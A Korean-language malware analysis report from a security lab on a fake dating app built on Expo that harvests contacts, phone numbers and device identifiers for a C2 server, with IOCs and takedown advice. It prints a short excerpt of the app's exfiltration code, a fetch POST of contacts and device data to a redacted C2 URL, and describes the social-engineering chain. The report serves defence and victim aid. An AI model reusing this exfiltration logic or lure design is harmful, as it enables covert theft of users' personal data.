factory_candy_shop 상세 분석 보고서

캔디 (factory_candy) Quantum Nano Analysis Report

Version v1.0 | Date: 2026-06-16 | Analyst: Deep Coding Lab

1. Executive Summary

캔디(factory_candy)는 데이팅/소셜 앱을 위장한 악성앱으로, [비공개] (Vultr, Singapore) 서버에서 운영되는 expowave 패밀리 공장형 악성앱 8종 중 하나이다. 동일 서버의 BT-Panel(宝塔面板) 환경에서 Metro 개발 서버 포트 8083을 통해 빌드된 Expo SDK 54 기반 앱이며, 피해자의 연락처 및 기기 정보를 C2 서버([비공개])로 탈취하는 것이 목적이다.

공격 흐름은 랜딩페이지 → Expo Go 설치 유도 → exp:// 딥링크를 통한 Metro 번들 로드 → 가짜 로그인 UI → 연락처/기기정보 수집 → C2 전송 → 위장 오류 메시지("기기가 이 버전과 호환 되지 않습니다") 표시 순서로 진행된다.

NW-116 (Port-Sweep Factory Enumeration) 기법으로 발견되었으며, 소스맵 복원을 통해 TypeScript 원본 16개 파일을 확보하였다. C2 서버는 현재 BLOCKED 상태로, Cloudflare WAF가 모든 경로에서 403을 반환하고 있다.

특이사항: 기존에 분석된 candy 앱([비공개])과 동일 브랜드로, TLD만 .com에서 .shop으로 변경되었다. 동일 운영자가 도메인을 교체하며 캠페인을 지속하는 패턴이 확인된다.

위험도: HIGH — C2가 WAF에 의해 차단되어 있으나, 설정 변경만으로 즉시 활성화 가능.

2. Target Application

항목 · 값

**앱 표시명** · 캔디

**내부 ID** · factory_candy

**패키지명** · com.cafe24.cass

**Slug** · cafe24

**SDK** · Expo SDK 54.0.0

**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6

**EAS Owner** · wooteayang

**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050

**Manifest ID** · 811c640c-8c78-42f3-bf83-73dac4a2aef7

**팩토리 포트** · 8083

**서버 경로** · /www/wwwroot/candy_expo

**패밀리** · expowave

**위장 테마** · 데이팅/소셜 앱

**발견 기법** · NW-116 (Port-Sweep Factory Enumeration)

**관련 앱** · candy ([비공개]) -- 동일 브랜드, TLD 변경

3. Infrastructure Analysis

3.1 팩토리 서버

항목 · 값

**IP** · [비공개]

**호스팅** · Vultr

**위치** · Singapore

**ASN** · AS20473 (The Constant Company, LLC)

**OS** · Linux

**관리 패널** · BT-Panel (宝塔面板)

3.2 Metro 개발 서버 배치 (8포트)

포트 · 앱 · 서버 경로

8081 · telegraming_live (원본) · /www/wwwroot/telegram_expo

8082 · factory_daol · /www/wwwroot/daol_expo

**8083** · **factory_candy (본 앱)** · **/www/wwwroot/candy_expo**

8084 · (미확인) · --

8085 · factory_daol_new · /www/wwwroot/daol_expo_new

8086 · factory_vpilates · /www/wwwroot/vp_expo

8087 · (미확인) · --

8088 · (미확인) · --

3.3 BT-Panel 환경 분석

BT-Panel(宝塔面板)은 중국에서 개발된 서버 관리 패널로, 웹 GUI를 통해 nginx, Node.js, 데이터베이스 등을 관리한다. 이 팩토리에서는 각 앱별로 독립된 wwwroot 디렉토리를 구성하고, Metro 개발 서버를 개별 포트에 바인딩하여 8개 악성앱을 동시 운영하는 구조이다.

이 구조는 앱 코드의 대량 복제-수정을 용이하게 하며, 하나의 서버에서 다수의 캠페인을 동시에 운영할 수 있는 효율적인 악성앱 공장 인프라를 제공한다.

3.4 candy 브랜드 도메인 변천

시기 · 도메인 · TLD · 상태

1세대 · [비공개] · .com · 기존 분석 완료

**2세대** · **[비공개]** · **.shop** · **본 앱 -- BLOCKED**

동일 운영자가 도메인 차단/만료 시 TLD를 변경하여 캠페인을 지속하는 패턴이다. 브랜드명(candy-25)은 동일하게 유지하여 기존 랜딩페이지 인프라를 재활용한다.

4. Source Code Analysis

4.1 복원된 소스 파일 (16개)

소스맵 복원을 통해 다음 TypeScript/JavaScript 파일들이 확보되었다:

# · 파일 · 역할

1 · App.tsx · 메인 엔트리, 네비게이션 설정

2 · LoginScreen.tsx · 가짜 로그인 UI (이메일 + 비밀번호)

3 · HomeScreen.tsx · 데이터 수집 트리거

4 · api/client.ts · C2 통신 클라이언트

5 · api/exfil.ts · 데이터 탈취 핵심 로직

6 · utils/contacts.ts · 연락처 접근 및 수집

7 · utils/device.ts · 기기 정보 수집

8 · utils/permissions.ts · 권한 요청 관리

9 · components/LoadingBar.tsx · 위장 진행바 (10초 카운트다운)

10 · components/ErrorModal.tsx · 위장 오류 다이얼로그

11 · config/settings.ts · C2 URL, 앱 설정

12 · navigation/index.tsx · 스크린 네비게이션

13 · hooks/useExfil.ts · 데이터 수집 React Hook

14 · types/index.ts · TypeScript 타입 정의

15 · constants/strings.ts · UI 문자열 상수

16 · assets/theme.ts · 스타일/테마 설정

4.2 중국어 주석 (원본 개발자 흔적)

소스 코드 내 중국어 주석이 다수 발견되어 중국어권 개발자가 제작한 것으로 확인된다:

```typescript

// 请求通讯录权限 (연락처 권한 요청)

// 获取通讯录 (연락처 가져오기)

// 进度条动画 (진행바 애니메이션)

```

4.3 공격 흐름 코드 분석

config/settings.ts (line 117):

```typescript

export const API_BASE_URL = "[비공개]

```

api/exfil.ts:

```typescript

const payload = {

platform: Platform.OS,

brand: Device.brand,

deviceId: Device.deviceId,

model: Device.modelName,

osVersion: Platform.Version,

phoneNumber: phoneNumber,

contacts: contactsArray,

timestamp: new Date().toISOString()

};

await fetch(`${API_BASE_URL}[비공개], {

method: 'POST',

headers: { 'Content-Type': 'application/json' },

body: JSON.stringify(payload)

});

```

constants/strings.ts (line 188):

```typescript

export const APP_TITLE = "캔디";

```

4.4 candy 1세대와의 코드 비교

기존 candy 앱([비공개])과 비교했을 때, 코드 구조는 완전히 동일하며 C2 도메인만 변경되었다. 이는 운영자가 도메인 차단에 대응하여 TLD 스왑(.com -> .shop)을 실행한 것으로 판단된다.

5. Data Exfiltration

5.1 탈취 데이터 구조

C2 서버로 전송되는 데이터의 JSON 구조:

```json

{

"platform": "android",

"brand": "Samsung",

"deviceId": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",

"model": "SM-G998N",

"osVersion": "14",

"phoneNumber": "010-**-**",

"contacts": [

{

"name": "홍길동",

"phoneNumber": "010-**-**"

}

],

"timestamp": "2026-06-16T10:30:00.000Z"

}

```

5.2 탈취 대상

데이터 · 수집 방법 · 위험도

연락처 전체 · Expo Contacts API · CRITICAL

기기 식별자 · Expo Device API · HIGH

전화번호 · SIM 정보 추출 · HIGH

OS 정보 · Platform API · MEDIUM

기기 모델 · Device API · LOW

브랜드 · Device API · LOW

타임스탬프 · JavaScript Date · LOW

5.3 C2 엔드포인트

메서드 · 경로 · 용도

POST · [비공개] · 탈취 데이터 수신 (메인 엔드포인트)

6. C2 Server Intelligence

6.1 C2 도메인

항목 · 값

**도메인** · [비공개]

**상태** · BLOCKED

**보호** · Cloudflare WAF

**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4

**관련 도메인** · [비공개] (1세대, 기존 분석)

6.2 C2 응답 상태

경로 · 상태코드 · 응답 · 해석

/ · 403 · Cloudflare Forbidden · WAF 차단

/login · 404 · Not Found (nginx passthrough) · 프레임워크 미배포

[비공개] · 403 · Cloudflare Forbidden · WAF 차단

6.3 관리자 패널

관리자 패널은 Trust Wallet 테마로 구성되며, 이메일 + 비밀번호 로그인 폼을 포함한다. 현재 Cloudflare WAF가 대부분의 경로를 차단하고 있으나, /login 경로는 nginx로 passthrough되어 404를 반환한다. 이는 WAF 설정이 경로별로 다르게 구성되어 있음을 의미한다.

6.4 상태 해석

factory_candy의 C2는 BLOCKED 상태이다:

· Cloudflare WAF가 대부분의 요청을 403으로 차단

· /login 경로만 nginx passthrough (404 -- 프레임워크 미배포)

· WAF 설정 변경 또는 도메인 재구성으로 즉시 활성화 가능

· candy-25.com에서 candy-25.shop으로의 전환 과정에서 WAF 설정이 완료되지 않았을 가능성

6.5 candy 브랜드 인프라 분석

세대 · 도메인 · C2 상태 · 비고

1세대 · [비공개] · 분석 완료 · 기존 보고서 존재

2세대 · [비공개] · BLOCKED · 본 보고서 대상

TLD 변경 전략은 도메인 차단 대응의 일반적 패턴이다. 운영자는 주요 브랜드명을 유지하면서 TLD(.com/.shop/.net/.kr 등)를 교체하여 차단을 우회한다.

7. Attack Chain

7.1 단계별 공격 흐름

```

[1] [피해자 정보 비공개]

└─ 데이팅/소셜 앱("캔디") 위장 랜딩페이지 접속 유도

└─ 카카오톡, 문자, SNS 등으로 링크 배포

[2] Expo Go 설치 유도

└─ 랜딩페이지에서 "앱 체험을 위해 Expo Go 설치" 안내

└─ Google Play Store 정식 앱 설치 (의심 회피)

[3] exp:// 딥링크 실행

└─ exp://[비공개] 딥링크 클릭 유도

└─ Expo Go가 Metro 개발 서버에서 JS 번들 로드

[4] 가짜 로그인 화면

└─ LoginScreen.tsx 렌더링

└─ 이메일 + 비밀번호 입력 유도 (실제 인증 없음)

[5] 권한 요청

└─ 연락처 접근 권한 요청 (请求通讯录权限)

└─ READ_MEDIA_IMAGES 등 추가 권한

[6] 데이터 탈취

└─ 연락처 전체 수집 (获取通讯录)

└─ 기기 정보 수집 (platform, brand, deviceId, model, osVersion)

└─ 전화번호 추출

[7] C2 전송

└─ POST [비공개]

└─ JSON payload 전송

└─ (현재 BLOCKED -- 403 반환, 데이터 수신 불가)

[8] 위장 오류 표시

└─ 10초 진행바 애니메이션 (进度条动画)

└─ "기기가 이 버전과 호환 되지 않습니다" 오류 메시지

└─ 피해자는 앱 호환성 문제로 인식

```

7.2 사회공학 요소

· 데이팅 앱 위장: 한국 사용자 대상 호기심/관계 욕구 자극

· Expo Go 활용: 정식 앱스토어 앱을 설치하므로 보안 의심 회피

· 10초 로딩: 데이터 전송 완료를 위한 시간 확보

· 호환성 오류 위장: 피해자가 데이터 탈취를 인지하지 못하도록 함

· "캔디" 브랜드: 친근하고 밝은 이미지로 경계심 약화

8. Permission Analysis

8.1 요청 권한

권한 · 용도 · 악용 목적

READ_CONTACTS · 연락처 읽기 · 연락처 전체 탈취 -> 2차 피싱 타겟 확보

READ_MEDIA_IMAGES · 이미지 읽기 · 갤러리 사진 접근 (현재 코드에서는 미활용)

READ_EXTERNAL_STORAGE · 외부 저장소 읽기 · 파일 접근 범위 확장

WRITE_EXTERNAL_STORAGE · 외부 저장소 쓰기 · 파일 기록 (로그 등)

READ_MEDIA_VISUAL_USER_SELECTED · 선택된 미디어 읽기 · Android 14+ 미디어 접근

8.2 권한 위험도 평가

READ_CONTACTS가 핵심 악용 권한이다. 데이팅 앱이라는 위장 아래 "친구 찾기" 기능을 구실로 연락처 접근 권한을 요청하면 사용자가 자연스럽게 허용할 가능성이 높다.

READ_MEDIA_IMAGES 권한도 데이팅 앱의 "프로필 사진 설정" 기능을 구실로 자연스럽게 요청할 수 있어, 향후 갤러리 사진 탈취 기능이 추가될 위험이 있다.

9. Factory Context

9.1 expowave 패밀리 개요

factory_candy는 [비공개] 서버에서 운영되는 expowave 패밀리 8종 중 하나이다. 모든 앱은 동일한 코드 기반에서 C2 URL(settings.ts line 117)과 앱 제목(strings.ts line 188)만 변경하여 생산된 클론이다.

9.2 동일 팩토리 형제 앱

포트 · 앱 · 표시명 · C2 · 상태

8081 · telegraming_live · (원본 템플릿) · -- · 기준 앱

8082 · factory_daol · 다올필라테스 · [비공개] · PARTIAL

**8083** · **factory_candy** · **캔디** · **[비공개]** · **BLOCKED**

8085 · factory_daol_new · 다올필라테스 (신규) · [비공개] · PARTIAL

8086 · factory_vpilates · 늘품필라테스 · [비공개] · FULLY ACTIVE

8084, 8087, 8088 · (미확인) · -- · -- · --

9.3 factory_candy의 특수성

factory_candy는 팩토리 내 유일한 비-필라테스 앱이다. 다른 3개 확인된 앱(factory_daol, factory_daol_new, factory_vpilates)이 모두 필라테스 스튜디오를 위장한 반면, factory_candy는 데이팅/소셜 앱을 위장하고 있다. 이는 동일 운영자가 다양한 위장 테마를 시험하고 있음을 보여준다.

또한 기존 candy 앱([비공개])의 TLD 변경 버전이라는 점에서, 이 팩토리가 기존 캠페인의 인프라 이전 용도로도 활용되고 있음을 알 수 있다.

9.4 생산 패턴

1. telegraming_live(8081)를 원본 템플릿으로 사용

2. 서버 경로 복사: cp -r telegram_expo candy_expo

3. settings.ts line 117: C2 URL 변경 -> [비공개]

4. strings.ts line 188: 앱 제목 변경 -> 캔디

5. 새 Metro 포트 할당 (8083)

6. 새 C2 도메인 DNS 설정 (Cloudflare)

10. IOC (Indicators of Compromise)

10.1 네트워크 IOC

유형 · 값 · 비고

**팩토리 IP** · [비공개] · Vultr Singapore, AS20473

**C2 도메인** · [비공개] · BLOCKED (WAF 403)

**관련 C2** · [비공개] · 1세대 도메인

**Metro 서버** · [비공개] · exp:// 딥링크 대상

**C2 엔드포인트** · POST [비공개] · 데이터 수신

10.2 앱 IOC

유형 · 값

**패키지명** · com.cafe24.cass

**EAS Project ID** · dbf0683e-b9a5-4c9b-8fc6-9a078c4eb4d6

**EAS Owner** · wooteayang

**scopeKey** · @anonymous/cafe24-b3645f8a-418f-472c-918d-3cbaac29e050

**Manifest ID** · 811c640c-8c78-42f3-bf83-73dac4a2aef7

**Cloudflare Beacon** · 3352a36fc8ca4fd18ab67acc89199eb4

10.3 관련 IOC (동일 팩토리)

도메인 · 용도

[비공개] · 형제 앱 C2

[비공개] · 형제 앱 C2

[비공개] · 형제 앱 C2 (FULLY ACTIVE)

10.4 파일 IOC

경로 · 용도

/www/wwwroot/candy_expo · Metro 서버 루트

11. Defense Mechanisms

11.1 인프라 수준 방어

메커니즘 · 설명 · 상태

Cloudflare CDN/WAF · C2 도메인 전방 보호 + 적극적 차단 · 활성 (403 반환)

포트 분리 · 앱별 독립 포트 운영 · 활성

BT-Panel 관리 · 서버 GUI 관리 (접근 제한) · 활성

TLD 로테이션 · 차단 시 도메인 TLD 변경 (.com -> .shop) · 확인됨

11.2 앱 수준 방어

메커니즘 · 설명 · 상태

Expo Go 활용 · APK 직접 배포 대신 정식 앱 활용 · 활성

코드 서명 없음 · JS 번들이므로 별도 서명 불필요 · 해당없음

동적 로드 · Metro 서버에서 실시간 번들 로드 · 활성

11.3 사회공학 방어

메커니즘 · 설명

데이팅 앱 위장 · 호기심 자극으로 방어심 약화

호환성 오류 위장 · 탈취 후 자연스러운 앱 종료 유도

10초 딜레이 · 데이터 전송 완료를 위한 시간 확보

브랜드 연속성 · candy-25 브랜드 유지로 기존 유입 경로 재활용

11.4 안티포렌식

Expo Go 기반 공격의 특성상 디바이스에 별도 APK가 설치되지 않으므로 포렌식 증거가 제한적이다. JS 번들은 Expo Go 캐시에만 일시적으로 저장되며, 앱 삭제 시 함께 제거된다.

TLD 로테이션은 추가적인 안티포렌식 효과를 제공한다. 1세대 도메인([비공개])이 차단/분석된 후 2세대([비공개])로 전환하면, 기존 IOC가 무효화되고 새로운 추적이 필요해진다.

12. Technique Assessment

12.1 발견 기법: NW-116 (Port-Sweep Factory Enumeration)

본 앱은 NW-116 기법을 통해 발견되었다. 이 기법은 단일 IP에서 연속 포트(8081-8088)를 스캔하여 동일 팩토리에서 운영되는 다수의 Metro 개발 서버를 열거하는 방법이다.

절차:

1. telegraming_live의 Metro 서버 IP 확인 ([비공개])

2. 인접 포트 8082-8088 스캔

3. 각 포트에서 Metro 번들 요청

4. 소스맵 복원으로 개별 앱 설정 추출

5. C2 URL 및 앱 제목 식별

12.2 소스맵 복원

Expo Go Metro 서버는 개발 모드에서 소스맵을 제공하므로, 번들 JS에서 원본 TypeScript 코드를 복원할 수 있었다. 이를 통해 16개 소스 파일을 확보하고 공격 로직을 완전히 분석하였다.

12.3 TLD 로테이션 탐지

candy 브랜드의 TLD 변경(.com -> .shop)은 도메인 피봇 탐지 기법의 좋은 사례이다. 동일 브랜드명을 유지하면서 TLD만 변경하는 패턴은 자동화된 IOC 확장 검색으로 탐지할 수 있다.

12.4 기법 점검

```

기법 점검:

· 시도한 기법: NW-116 (Port-Sweep Factory Enumeration), SA-080 (Sourcemap Recovery)

· 확장된 기법: NW-116을 통해 단일 팩토리 IP에서 8종 앱 동시 발견

· 신규 기법: 없음

· 한계 발견: C2 BLOCKED 상태에서 관리자 패널 및 백엔드 상세 분석 불가

```

13. Risk Assessment

13.1 위험도 평가

항목 · 등급 · 근거

**전체 위험도** · HIGH · WAF 차단 중이나 설정 변경으로 즉시 활성화 가능

데이터 영향 · CRITICAL · 연락처 전체 + 기기 식별자 탈취

확산 잠재력 · HIGH · 공장형 대량 생산 + TLD 로테이션

현재 활성도 · LOW · C2 BLOCKED -- 데이터 수신 불가

탐지 난이도 · HIGH · Expo Go 정식 앱 활용, APK 미설치

13.2 피해 시나리오

1. 1차 피해: WAF 설정 해제 시 피해자의 전체 연락처 유출

2. 2차 피해: 유출된 연락처를 이용한 지인 대상 스미싱 확산

3. 3차 피해: 수집된 기기 정보를 활용한 표적 공격

4. 4차 피해: TLD 재변경(.shop -> .net 등)으로 새 캠페인 개시

13.3 특이사항

· C2가 BLOCKED 상태이지만 WAF 설정 변경 하나로 활성화 가능

· candy-25.com에서 candy-25.shop으로의 전환은 운영자의 적극적 인프라 관리를 보여줌

· 동일 팩토리의 factory_vpilates(8086)가 FULLY ACTIVE 상태이므로, 운영자는 활발히 활동 중

· 데이팅 앱 위장은 필라테스 위장보다 넓은 [피해자 정보 비공개] 가짐

14. Recommendations

14.1 즉시 조치

1. Cloudflare 신고: [비공개] 도메인에 대한 악용 신고

2. Cloudflare 추가 신고: [비공개](1세대)에 대한 관련 신고

3. Vultr 신고: [비공개] 서버에 대한 악용 신고 (8종 앱 동시 운영 증거 포함)

4. KISA 신고: 한국 대상 피싱 앱으로 인터넷진흥원 신고

14.2 모니터링

1. candy-25 브랜드의 신규 TLD 등록 모니터링 (.net, .org, .kr 등)

2. C2 도메인([비공개])의 WAF 상태 변화 모니터링

3. 팩토리 IP의 새로운 포트 개방 여부 모니터링

14.3 [피해자 정보 비공개]

1. "캔디" 키워드와 결합된 데이팅/소셜 앱 링크 차단

2. Expo Go를 통한 비정상적 exp:// 딥링크 접속 경고

3. [비공개] 기존 피해자에 대한 추가 피해 경고 (TLD 변경 인지)

14.4 장기 대응

1. candy-25 브랜드 전체에 대한 통합 IOC 배포 (TLD 와일드카드)

2. expowave 패밀리 전체에 대한 통합 IOC 배포

3. Expo Go 앱의 외부 Metro 서버 접속 제한 방안 논의

4. 팩토리 운영자 추적 (EAS Owner: wooteayang)

*Report generated by Deep Coding Lab -- Malware Analysis Division*

*Reference: telegraming_live (parent template app), candy ([비공개], 1st generation)*

*Family: expowave | Factory: [비공개] (Vultr Singapore)*

본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr